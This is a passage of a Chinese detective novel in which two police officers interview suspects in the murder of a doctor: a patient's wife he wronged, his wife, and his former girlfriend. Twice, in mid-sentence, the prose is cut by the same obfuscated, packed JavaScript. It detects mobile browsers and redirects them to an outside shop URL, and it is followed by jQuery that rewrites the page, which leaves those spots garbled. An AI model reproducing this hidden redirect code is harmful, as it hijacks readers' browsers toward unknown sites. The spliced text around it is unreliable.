“死了又怎么样……”正在气头上,陈洁脱口而出,可话音未落就变了脸色,“你说什么?” 王浩盯着她,加重了语气:“喻健死了。” “好啊,为了包庇那烂人,你们连这种话都说得出口,就不怕成真的了吗?”指着王浩,陈洁气得浑身都打哆嗦,“我告诉你们,我不信,明天我就去省里上访!我一大早就去省委门口!我倒要看看他关系到底有多硬!” “人已经死了,别说去省委,你就算去京城也没用,除非去找阎王。”王浩道,“喻健的死不是意外,我们有明确证据证明他死于谋杀,今天过来就是排查他的主要社会关系。既然你和他存在重大矛盾,那么请配合我们的问询。” 高文也亮出了证件:“陈女士,请配合我们的问话。” 看他们这阵势,陈洁呆住了。见她半天不动,田主任没好气道:“行了,可以了吧?天天闹着让我们开除他,现在好了,别说开除了,人都死了,你满意了吗?” 到底死者为大,围观群众窸窸窣窣的声音渐小了起来,也不再跟着议论医院了,只有陈洁死死地盯着王浩,好像在跟他确认事情的真实性。 没有吭声,王浩脸色分外严肃,一双眼睛牢牢锁定了她,似乎在审视着什么。 “死了?真的死了?”确定了结果,陈洁扯了扯嘴角,忽然眼泪就流了下来。用力一抹脸,她喃喃道,“死得好,死得好啊!” *** 医院对面的奶茶店。 好说歹说把陈洁劝进来,王浩给她点了一杯柠檬水:“说说吧,到底是怎么回事?” 喻健死了显然对她冲击很大,出来吹了一趟风,陈洁也冷静了些,见他说话好声好气的,也就说了:“我和钱宿——就是我法律上的丈夫,不过很快就是前夫了。结婚两年都没孩子,于是就来医院查体。他有无精症,自己心里也有数,所以就找到了喻健,让他给帮忙出了一份假的证明。过了一年还是没怀上,我觉得不对劲,就骗着他说去北京做试管,实际上找医生偷偷给他加了个查精子的项目,结果查出来是无精症。” 她咬着牙:“我说他怎么死活不肯去查精子?我说我怎么一直怀不上孩子?一家人心里都有数,就跟耍猴似的,哄着我喝中药、吃激素、打针。这么哄了两三年,看我果然是没怀上孩子,就开始装好人,和我说真怀不上就怀不上吧,就这么过也行。现在看这婚是离定了,就开始闹,到处装可怜,说我其实也不能生,当初说好了做试管的,结果现在拿着他们的钱治好了病,就要踢了老公另找婆家了,啊呸!真是一点脸都不要了!” 这事儿是做得够恶心,如果是真的,也怪不得陈洁觉得她老公能干出来串通医生作假检查结果的事儿。 不过王浩还是说:“可是我听医院那边说,无精症也可能后天导致,现在离你们来查已经过去两三年了,所以结果没法说呢?” 听了这话,陈洁激动起来:“听他们胡说,我有证据!而且京城的医院都说钱宿是先天性的无精症!” 王浩诧异:“那边医生原话是这么说的?” ——好家伙,这么勇啊?他去医院看感冒,医生都不会说他肯定是普通感冒还是流感。 “人家肯定不能说那么死,但是90%以上还不能说明问题吗?”陈洁道,“谁不知道医院的90%就是百分之百啊!” 这才是嘛,这种含含糊糊的才会是原话。心里踏实了,王浩道:“但是仪器也存在检测疏忽的可能性啊,而且化验科好多关系户,也说不准是水平达不到才弄错的。” “不是疏忽。”陈洁断然否决,“喻健是故意的!他们是串通好的!” “怎么说?” 陈洁声音都发冰:“我在他手机里找到了他的婚检报告,婚检就发现他是无精症,不能生孩子。” 王浩更疑惑了:“都做了婚检,你还不知道吗?” “那不是和我做的。”陈洁咬着牙,“他之前还相过一个女生,条件很好,都谈婚论嫁了,后来黄了才找的我。他说是因为那个女生的爸妈没看上他,直到看了那份报告,我才知道根本不是!” 王浩道:“所以你觉得他家是故意骗婚?” “不是觉得,我有证据。”从包里掏出来一个U盘,陈洁脸上仿佛结了一层霜,“我知道了之后留了个心眼,在了他爸妈家和车里都放了录音笔,在家里安了针孔摄像头,之后才去闹破的。他家的对话都被我录下来了。” 怪不得田主任一提她就一脸牙疼,证据意识很强啊。王浩心里暗暗赞叹:“他们承认了?” “昨天的视频里承认的。”陈洁冷笑,“之前都是说不知道、不清楚、医院检查搞错了吧,昨天被我一诈,果然就回家商量去了。” 有证据都好说,不过王浩还是提醒道,“违法取得的证据法院是不会采信的。” “我在自己家里安监控,往自己车里放录音笔,怎么就是违法证据了?”陈洁道,“而且我本来也没指着上法院,这种事大概率不会判刑。我就是要闹大,让他们开除喻健。” 高文忍不住插了一句嘴:“你和喻健的仇有这么大吗?” 为了保住名声,医院肯定能给她一笔不菲的赔偿,喻健自己说不定自己就得掏二三十万,求着她别闹出去。多的不说,起码五六十万就到手了。可如果闹开了,医院没了顾忌,说不定一分都没有,何至于啊? 冷冷看了他一眼,陈洁道:“你们男人是不是都觉得做试管很简单?” 被她这眼神镇住了,高文下意识反驳道:“不是,我就是觉得拿了赔偿比较实在……” “因为医院说他没问题,我为了生孩子,前后喝了两年零九个月的中药,打了七次 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16609778|187615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 促排针,一年里有一大半时间都花在了从医院奔波往返的路上。”打断了他的辩解,陈洁的每一个字都像是从牙缝里蹦出来的,“中药换了□□副,喝了吐,吐了喝,最后连黄水都呕出来了。不停地打激素,每天起来都比昨天胖一圈。那促排针粗得啊,前几次扎的时候我都疼得哭,但凡进去扎针的女人就没有不哭的。” “我说我不想受这个罪了,可所有人都说,那你生不出孩子,还能怎么办呢?忍忍就过去了,你看你婆家什么都不说你,已经很不错了。连我妈都说没办法,谁让你肚子不争气呢。” 两人都沉默失语,陈洁却还在说着,几乎是字字泣血:“你们现在看我胖得跟头猪似的,是不是?” 看着沉默的两个警察,她露出一个似哭似笑的表情:“可我结婚的时候才110斤啊,见过我的就没一个不说我好看的。” “他死得好啊!要不是他那份检查报告,我早就离婚了,哪里要受这些罪?” 她两腮都是肉,胳膊比高文的腿都粗,说一句虎背熊腰也不为过,可五官却十分端正,不难想见体型正常时候的模样。 心里十分同情,但沉默了一会,王浩还是说:“可是现在喻健死了。你和他存在重大矛盾,没什么意外就是第一嫌疑人。” 陈洁却坦坦荡荡,分外干脆:“他死得活该,所以说老天爷也不是不长眼。我问心无愧,不怕你们查。” 王浩道:“好,那这周的行程你得和我们说一下,这几天你都在哪儿?” “我现在正在和钱宿闹离婚,掰扯着钱的事儿。我姐姐在东郊服装城开了个店,专卖马面裙,我在那里帮忙,吃住都在那里。医院这边是每周一、周二过来,但没找着过喻健人,不是在楼道里,就是在他们领导的办公室里。”想了想,陈洁道,“对了,我姐姐店里有监控,你们可以查。” 王浩道:“你都怎么过来,来了医院都干什么?” “一大早坐63路过来,进了医院就发传单,拿着喇叭喊,然后他们领导就来了,到他们办公室里协商,商量不成我就走,到门口快餐店吃个十块钱的套餐,再坐63路公交回店里。”陈洁眼皮都没抬一下,“天天这样,他们一开始找我要证据,我只有那份体检报告,他们就说不行,想拿三十万打发我。现在我抓到了证据,想着他们要是再想拿钱堵嘴,我就先报警。报警之后就花钱买热搜,再到市里、到省里告状。” 听她这流程,高文脸都绿了:“大姐,我们也不一定不给你解决问题啊!咋就又要上网,又要上访呢?” 现在他们干工作,一怕舆情、二怕上访,陈洁要是真闹上去,那绝对完犊子了。 抬起眼皮扫了他一眼,陈洁道:“我不闹医院能开除他吗?打官司得拖好几年吧?” 高文被噎得说不出话来:“可是,可是……” 见他半天“可是”不出来,陈洁冷哼了一声,“谁不知道你们公安工作忙?案子都顾不上,法院开庭都得大半年呢,上诉完再执行,那要等到猴年马月?” “基层人手有限,我们有时候也没有办法。”王浩打了个哈哈,“你都是来医院办完事儿就走?” “不走我在这儿还管饭呐?”陈洁道,“就一个上午,下午人多,我还得回店里帮忙呢。现在到处都是监控,你们不信我随便查就是了。” 服装城在西郊,医院在市中心,人流量密集,诚如她所说,到处都是监控,回去一查就是了。喻健案是明显的熟人作案,如果她确实不存在接触喻健的机会,那嫌疑基本就可以排除了。 看了看,王浩道:“行,那就这些。留个地址吧,我们腾出手来会去找你调监控。” 嗯了一声,陈洁在笔录下面签名、按了指纹,草草写了个地址,拿着包就要走,却被王浩叫住了。 “关于离婚的事儿,我们建议你考虑考虑。”顿了顿,王浩道:“现在离婚很麻烦,如果他不配合,你需要走起诉流程,可能时间会很长很麻烦。你和钱宿是夫妻,虽然公开他的隐私不犯法,但是是违背道德的,你还是冷静冷静 15. 成天说公婆偏心,我看就是她干的 “看今天陈洁的反应,这事儿应该不是她干的。”高文道,“要她是装的,那能去拿奥斯卡小金人了。” “话是这么说,该查的还是得查。”王浩道,“彦子说杨文倩已经来了,在问询室里等着呢。咱们问完她就去拷陈洁姐姐店里的监控,连着医院和公交站的监控都调出来,看看她的不在场证明是不是真的。” 嗯了一声,高文道:“杨文倩估计得费点功夫,这案子她可是第一嫌疑人啊。” “老师的配合程度应该还比较高。痕检说那袋薯片上的指纹比较杂,有喻健自己的,有杨文倩的,还有喻健妈妈的,还有好几个不知道是谁的。”王浩道,“反正就喻淑和喻健爸爸的没比对上,其他全比对上了。” “这倒也说明不了啥,我妈也爱翻我的包。”高文随口吐槽,“天底下妈妈是都这样吗?” “那说不好。”王浩也乐呵了,“不过我妈也爱翻我的。” 说话间,区公安局已经到了。高文找了个空地儿停车,两人带着陈洁的笔录上了楼。 *** 杨文倩,二十七岁,东沭六中的政治老师,爸妈都是公务员,舅舅是市局副局长刘国涛。除此之外,长相平平,身高普通,体型正常,属于扔进人堆里绝不会引起任何人注意的那种人。 隔着单层可视玻璃,杨文倩一会撩撩头发,一会抠抠指甲,过不了两分钟就抬头看看表,看得出她已经等得很不耐烦了。 推门进去,拉开椅子坐下,王浩道:“不好意思,有点事耽误了。” “你们这可耽误得够长的。”冷哼了一声,杨文倩道,“请假不好请,我和人换了课过来的,下午还得回学校,有什么事赶紧问吧。” 高文奇道:“你不是教政治吗,副科老师也这么忙啊?” “现在哪有不忙的?年轻老师一个比一个事儿多。”杨文倩显然是满肚子牢骚,“我是班主任,根本请不下假来。” “政治老师还能当班主任啊?”有些震惊,高文问道,“而且单位有丧假吧?” “政治老师?现在体育老师都能当班主任,还以为是什么好活儿呢!”一脸的没好气,杨文倩道:“丧假一共就三天,我不得留着他出殡的时候用?现在请了,难道他办后事我不去了?” 看她说话的语气,高文道:“你和喻健感情一般?” 探头看了他一眼,杨文倩道:“警官,你还没结婚吧?” 有些尴尬,高文挠了挠头,正不知道怎么说,杨文倩就好像想起了什么:“咦,你是不是孙姨介绍给喻淑的那个警察?” 拯救了脚趾抠地的高文,王浩打断了她:“杨老师,咱有事说事。” “放心,警察同志,我不是要和你们攀关系,喻淑那关系我也不屑攀。”杨文倩冷笑了一声:“我就是想说这位高警官没有切身经历,所以才问得出来这话——相亲认识的,感情能怎么样?凑合呗。” 这就是感情很差的意思了。心里有了数,王浩道:“那你对喻健了解吗?知道他有什么仇人吗?” “仇人?那我可不知道。”杨文倩愈发冷笑起来,“他情人倒是不少呢。” 和高文对视了一眼,王浩道:“喻健有婚外情?” 他们隐隐约约有猜测,但也没抓到切实的证据,可杨文倩居然知道? 撩了把头发,杨文倩道:“警官,我又不傻,他死的那天晚上可说的是他要值班,一个大男人找借口晚上不回家是想干什么?彻夜投身工作啊?” 她一个字没说自己生气,但是怒气都快喷到对面的王浩脸上了。 忍不住往后靠了靠,王浩道:“也许是有别的事儿呢。你觉得他这个人什么样?” “他什么样?”冷哼了一声,杨文倩道,“他就是垃圾一个,没有任何优点。要不是为了生孩子,我巴不得他不回来,恶心!” 高文十分疑惑:“既然你们感情这么,呃,这么一般,当初是怎么走到一起的?” “还不是因为内体制内男生太少了?”提到这个,杨文倩一脸烦闷,“现在考上公务员、事业编的基本都是女生,进来个男生都哄抢,一个个跟选妃一样。男生自己是农村家庭,长相一般,还得要求女生独生、父母是双职工,长得漂亮。他好歹家庭好,爸妈都是双职工,没什么负担。喻淑又有工作,一打听还都说她挺老实的,当时想着就一个妹妹也不会碍事,以后嫁出门就行了,哪想着会这样?” 高文道:“可既然你现在已经确定喻健出轨了,为什么还不离婚呢?” “离婚?”杨文倩仿佛听到了什么好笑的话,“现在女多男少,我头婚都这样,离了婚还能找个什么样的?再说,我就这么让位了,岂不是便宜了那个小三?” “……”三观不合果然无法沟通,高文放弃了和她掰扯的想法,转而问道:“你说喻健出轨了,你知道他出轨对象是谁吗?” “就是那个高月,他的前女友。”杨文倩一脸厌恶,“专科生,干药代的,长得就不像什么正经人。喻健爸妈嫌她没有稳定工作,家还是农村的,就让他分了手。那女的不到半年就找上了他们医院胸外科的院长,硬生生把原配挤了下来,两个人不到三个月就领证了。那男的比她大十七,都能给她当爹了,也亏她下得去嘴。有的女人真是为了钱什么都干得出来,偏男的还就喜欢这样的。” 眉心一跳,高文道:“你觉得高月有作案嫌疑吗?” “那可说不好。”杨文倩冷笑,“当小三的女人能是什么好东西?干出来什么我都不奇怪。” 没有一点像样的证据和起码的逻辑分析,恶意揣测完全不加掩饰。就这简单粗暴的脑回路,根本不像是心思缜密、能不留下任何线索的凶手。心里暗戳戳排除她的嫌疑,高文道:“那喻淑是怎么回事?听说你和她关系不太好?” 听到这话,杨文倩斜乜着眼看他:“高警官,你和喻淑聊得怎么样?” 有些尴尬,高文道:“这和案情无关。” 冷笑了一声,杨文倩自顾自道:“好心提醒你一句,那种女的这么能算计,可千万不能娶。” 对她的判断持完全怀疑态度,高文问:“怎么说?” “你是不知道喻淑有多精!”杨文倩再度冷笑,“因为我们要结婚,她爸妈就给她哥哥买了房,让她知道就了不得了,天天在家里闹,闹得她妈都哭了还不消停。人家反正就一句话,她哥哥有的她都得有,要不大家就别过了。” 听得目瞪口呆,高文震惊道:“她这么,呃,彪悍?” 刚才他还觉得摊上这么对哥嫂,替喻淑觉得倒霉呢,结果这姑娘根本不用人同情啊! 见他这种表情,杨文倩以为他也是站自己一边的,忿忿道:“怎么还有女的这 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“我怎么没说过?”杨文倩又是委屈又是气愤,“我就好心劝了两句,结果她就指着我说‘要房要车,你回家找你自己爸妈要,别找我爸妈,就算要来了也不是你的,给人当了枪使还不知道’,你说我能不气吗?” ……实话实说,喻淑说的还挺有道理的。高文在心里暗暗给她点了个赞,杨文倩还在滔滔不绝:“我看说不定就是她干的。她哥哥一死,家里的财产不就都是她的了?” 这个属于合理怀疑,高文记了下来,问道:“你觉得有什么证据吗?” “这还要什么证据?成天闹闹闹,说她爸妈偏心,我看就是她干的!她爸妈说不定都还松了口气呢,可算是不用闹了。”杨文倩冷笑,“外人都传喻健不是亲生的,我看说不定是真的,要不哪有这么偏心闺女的?” 王浩实事求是:“父母大多都偏心小的,但也不是不疼大的。再说,你公公婆婆也没偏心女儿嘛,俩孩子拿的是一样的,他们只是没偏心儿子而已。” 喻家老两口哭得都快昏过去了,那伤心可不像是演的。 “还不偏心!居然给女儿买房子,他们又不是没有儿子,我就没见有偏心偏到这份上的!我看喻健就不是亲生的,指不定是从哪里抱来的,所以那老头老太太是偏心亲闺女呢!” 杨文倩眼里好似都在冒火,显然和喻家老两口关系也挺恶劣。 没空和她掰扯家务事,王浩转了话题,把薯片包装盒的照片给她看:“喻健包里的薯片是从哪儿来的,你知道吗?” “我?”扫了一眼,杨文倩就又冷笑起来,“我哪有那本事?就怕我买了送给他,他都不屑吃呢!” “杨文倩,好好说话。”见她乱发牢骚,王浩也板了脸,“你到底知不知道?” 虽然平时笑呵呵的,谁都说他一句老好人,可到底刑侦干了七八年,犯罪分子不知道抓了多少,脸一板也着实唬人。 见他变脸,杨文倩终于不再叽叽歪歪。想了半天,她才不情不愿道:“我真不知道,他就爱吃零嘴,还经常开着车在外面到处跑,谁知道在哪里买的?反正家里没见过,肯定不是网购的,可能是他在什么地方买的吧。” 看王浩又要沉脸,杨文倩也提高了声调:“你们净逮着我问什么?问高月啊!那才是人家认准的老婆!那盒薯片关我什么事儿?好事轮不着我,坏事倒是净往我身上栽!” 16. 他早就和那个小护士勾搭上了,…… 秀才遇到兵,有理说不清。目送杨文倩出门,王浩感慨道:“这两口子半斤八两啊!” 一个出轨成性,人品低劣,堪称人渣里的战斗机;一个暴躁易怒,不分好赖,简直让人怀疑她出门忘了带脑子。 “破锅配烂盖,该!喻淑说得没错,她就是纯纯投了个好胎。”高文也忍不住吐槽,“不过喻健的事儿要不查查?杨文倩虽然是个事儿精,不过喻健爸妈是不太对劲啊?这种有儿子还给女儿买房的,我也真是头一回见。” “行,和刘主任说一声吧。”王浩倒没当回事,“反正顺手的事儿。” 翻了翻笔录,高文道:“那咱们是去陈洁那里还是去找高月?” “陈洁那里让彦子走一趟吧,她嫌疑不大,倒是高月可不能耽搁了。”王浩道:“现在就走,我找田主任要来高月的联系方式了。” *** 高月,29岁,曾经是沭市xx公司的药代,目前是医院的合同工。她身量高挑,腰肢纤细,如果不仔细看,根本注意不到小腹的微微凸起。踩着红色细高跟,她一身白色蕾丝长毛衣,长相明艳动人。 看她冷着脸坐下,高文率先问道:“知道我们为什么过来吧?” “知道。”将发丝往耳后一撩,高月冷笑了一声,“喻健死了,你们怀疑我杀了他呗。” “那不是。”王浩温和地解释,“我们今天只是来了解情况。听说你们曾经是男女朋友?” “是啊,但是早就分了。”冷笑了一声,高月道:“当初他图我好看,追到手又嫌我是农村家庭配不上他,还假惺惺和我说是他爸妈不同意。现在看我嫁了人,又一副我堕落了的样儿,时不时来恶心我一下——啊呸,我和他有半毛钱关系?” 她的厌恶完全不加掩饰,高文有些奇怪:“你这么说,就不怕我们怀疑你?” “我不这么说,你们就不怀疑我了吗?”冷哼了一声,高月道,“杨文倩让你们来找我的吧?” “……”这还真是,高文一噎。 本就猜个八九不离十,他这反应就算是坐实了。高月冷笑:“蠢货一个,和喻健正配。” 这两人关系不是一般的差劲啊。王浩暗暗留了个心眼,“你们的交往过程能简单说说吗?” “没什么好说的,专科同学,他追的我,谈了四年多。后来工作了,他家里托关系把他塞进了医院,我家就是普通农村家庭,没那么些厉害亲戚,最后就去干了药代。他看自己同事的对象都是有稳定工作的双职工家庭独生女,就渐渐看不上我了。” 高文冷不丁道:“喻健是怎么死的,你知道吗?” “知道,不就是淹死的吗?今天早上就传遍了。”高月的憎恶完全不加掩饰,“死了活该,我这辈子就没这么恶心过。” 留心她的神情,王浩道:“你们恋爱谈了这么多年,现在他死了,就一点感慨都没有吗?” “感慨?”高月似乎有些嗤笑,“男已婚女已嫁,有什么感慨?当时也就是他图我长得好,我图他家庭好。要不然还能是他图我有弟弟,我图他和我穿着平底鞋一样高?就是没想到他会做梦什么都想要罢了。” 嘴上这么说着,她眼圈却有点发红,显然不是她说的那么无动于衷。 心里暗暗记下,王浩道:“听说你老公也在医院里?” “在,是医院胸外科院长的主任,比我大十七。”高月一脸的无所谓。 “他比你大这么多?” “大又怎么了?”高月冷笑,“这么多年我算是看明白了,什么爱不爱都是虚的。年轻有什么用?穷得跟鬼似的还能贼能算计。我老公至少钱给足,不玩那些虚的。” 王浩斟酌道:“听说他曾经有过一段婚姻?” “也是杨文倩和你们说的吧?一对癫公颠婆。”干干脆脆地承认了,高月又冷笑了一声,“天天跟捉贼似的,看谁都要勾引她那猪头老公,也不看看除了她谁稀罕。” 王浩道:“你觉得杨文倩是个什么人?” 根本没有丝毫犹豫,高月一脸的嫌恶:“蠢货一个,就跟出门没带脑子似的。喻健不是淹死的吗?我看说不准就是她给推下去的,这种蠢事也就她干得出来。” 喻健不是单纯的溺水身亡,而是先在毒品作用下产生了幻觉。不过王浩当然不会和她解释这些。但这已经是她第二次骂杨文倩蠢货了,再结合喻淑的证词,两人对杨文倩的评价简直不谋而合。 全程都仔细盯着她,确定她神色没有什么异常,王浩才道:“怎么说?” “喻健和她半斤八两,他们倒还互相看不上。杨文倩干不出偷人的事儿,喻健可干的多了。”高月冷笑,“本来我还可怜她呢,结果杨文倩自从知道了我和喻健那点破事,就抓着我不放,认定了那个人是我。到处宣扬我当小三,是个贱货、骚货,专撬人家老公,还听着尹丽——就是我老公他前妻挑唆,偷了喻健手机,打印了我和喻健之前的聊天记录往我老公那里捅——她也不想想,要真闹得我老公和我离婚了,我一时半会又找不着下家,那假的不也成真的了?就这她还搁那儿沾沾自喜,觉得自己干得利索呢,给人当了刀使还不知道。” 话糙理不糙,这么一看,杨文倩确实不像是有什么脑子的人。王浩道:“听说你老公前妻曾经找过你?” “她还真是什么都往外倒,就唯恐钉不死我是吧?”高月嗤笑:“对,我当时就是当小三了,他前妻来闹过,被我骂回去了——也不看看自己是什么东西?自己也是小三上位,以为十来年过去就没人知道了吗?拿着一副大婆样儿,气势汹汹地来抓我,也不看看她自己屁股底下干不干净。” 这下王浩是真的有些震惊了:“他老婆不是原配?” 嗤笑一声,高月道:“原配个头,原配早被她逼得让位了,都差点抑郁自杀。” 王浩道:“这个又是怎么回事?” “我老公——就是程毅,第一个老婆是个老师,听说脾气很好,生了一个闺女。但我老公这人吧,思想比较传统,就是重男轻女,再加上那会经常值夜班,就和那会还是护士的尹丽好上了。后来尹丽大着肚子找上门来,他找人一查,鉴定结果是男孩,接着就回家逼他老婆离婚,尹丽还去他老婆和他闺女学校里闹,逼得他老婆差点跳楼。”高月冷笑,“不信你就去问问,那些年轻的恐怕都不知道程毅还结过一次婚,有过一个闺女。” 王浩咋舌,忍不住又问:“程毅既然有个闺女又有个儿子,那你图什么啊?” 这么多孩子,等以后程毅没了,这财产也落不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16609780|187615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到她手里多少啊? 上下打量他一眼,高月嗤笑了一声:“警官,我就跟你说句实话吧,一个被窝睡不出两样人,程毅比尹丽更不是东西。他和原配生的那闺女早就不管了,这么多年连生活费都没给过,别看他现在对尹丽儿子还行,等我再生了新的,那算个屁!我还年轻,能生,一个不行生两个,两个不行生三个,只要我能生下来儿子,财产就跑不到别人手里。” 听得目瞪口呆,王浩忍不住劝道:“姑娘,你年轻又漂亮,有这毅力,干啥成不了事啊,何必做这种事呢?” “钱哪有那么好赚?我们说好听点是药代,说得不好听那就是销售。出去干这行,那些老男人说不了两句就想上手摸,不愿意就翻脸,你以为那么好干吗?”高月道,“而且就算能成事,我早晚不也得结婚?与其嫁个穷鬼,天天算计这个算计那个,我为什么不找个有钱的?” 王浩道:“就算喻健不是东西,咱也不能一棍子打死啊!你找个年纪相当,人品好又上进的不好吗?” “你看,你们男人都会这么说。”斜乜了他一眼,高月嗤之以鼻:“宁可信世上有鬼,也不信男人的嘴。男人白手起家的时候老婆都是贤妻、是不物质的好女孩,等真飞黄腾达了,换老婆一个比一个快,那些富豪的原配哪有几个有好下场的?” 她这话打击面委实有点大,奈何听着也是有理有据,着实不好反驳,王浩一时也被怼得说不出话来。 高月看了,越发嗤笑:“你看,我就说了,爱情就是男人骗女人用的。我反正绝对不和男人共苦。我就图他钱,没钱就滚。” 看得出来和喻健分手的事儿确实对她的三观冲击很大,王浩叹了口气,也不再劝她,把问话引回正题:“昨天晚上你在哪儿?” “和我老公在外面吃了饭,吃完了在商场里逛了逛,回家就洗澡睡了。” “除了你老公,还有人能证明吗?” “回家我们是步行回去的,路上遇到了楼上的邻居。吃饭的话,商场和小区里应该都有监控吧。” “行。”点了点头,王浩表示知道了,嘱咐道:“出去前录个指纹,我们暂时也没有其他需要问你的了。现在你算涉案人员,暂时不要离开沭市。” “我?涉案人员?”指了指自己,高月明显很是不满,“和我有什么关系,和他勾搭上的又不是我,我下周还要去三亚旅游呢。” “那和他勾搭上的是谁?”整理着笔录,高文随口说道,“高女士,现在没有切实的证据证明你没有嫌疑。” “怎么没有切实证据了,我根本没和他接触过。我现在过得好好的,马上都有孩子了,杀他干什么?”高月气道,“你们是不知道他和急诊科那个小护士早就勾搭上了吗?” 没想到她居然能爆出来这样的猛料,王浩和高文异口同声:“什么?” “什么什么?”看他们显然是真不知情,高月一脸的不耐烦,“我说警官,你们查案子,嫌疑人都不仔细找一找的吗?” 顾不上她的冷脸,王浩赶紧追问:“什么护士?哪个护士?你都知道多少?是怎么知道的?” 高月好看的眉毛拧起:“不是说了吗,就急诊科那个小护士啊!去年新来的那个,高高瘦瘦的,还欠了他二十万块钱呢!”